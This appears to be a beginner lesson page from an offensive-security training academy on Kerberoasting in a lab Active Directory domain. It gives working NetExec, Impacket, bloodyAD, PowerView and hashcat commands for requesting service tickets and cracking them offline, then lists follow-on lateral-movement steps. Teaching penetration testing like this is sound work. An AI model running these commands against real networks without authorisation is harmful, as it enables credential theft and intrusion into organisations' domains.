← Back to Academy

Academy Node

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

Beginner100 XPKerberos

Why it matters

Service accounts often have reusable or weak passwords and can unlock lateral movement.

How to identify it

  • Find users with servicePrincipalName set.
  • BloodHound marks Kerberoastable users.
  • LDAP query SPN-bearing users.

BloodHound indicators

  • User has SPN
  • Kerberoastable user finding

NetExec commands

nxc ldap 192.168.184.141 -d xutslabs.local -u ba_low -p 'Password123' --kerberoasting kerb_hashes.txt

Impacket commands

impacket-GetUserSPNs xutslabs.local/ba_low:'Password123' -dc-ip 192.168.184.141 -request -outputfile kerb_hashes.txt

BloodyAD commands

bloodyAD --host 192.168.184.141 -d xutslabs.local -u ba_low -p 'Password123' get search --filter '(servicePrincipalName=*)'

PowerView commands

Get-DomainUser -SPN | select samaccountname,serviceprincipalname

Linux commands

hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt --force

Expected output

  • $krb5tgs$23$...
  • Cracked service account password

Success looks like

  • Service ticket hash cracks.
  • Creds authenticate to SMB, LDAP, MSSQL, or WinRM.

Failure looks like

  • No SPNs.
  • AES-only tickets are not cracking quickly.
  • Password does not crack.

Troubleshooting

  • Try -dc-ip.
  • Fix DNS/time skew.
  • Use BloodHound to inspect account privileges.

Common mistakes

  • Only checking SMB after cracking.
  • Ignoring MSSQL SPNs.
  • Not checking group membership.

Alternative attacks

  • ASREP roast
  • MSSQL login
  • Password spray

What to try next

  • Validate with nxc.
  • Check SQL access.
  • Check local admin.
  • Run BloodHound as cracked user.

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.

Resource-Based Constrained Delegation

RBCD lets a controlled machine account impersonate users to a target computer when msDS-AllowedToActOnBehalfOfOtherIdentity is writable.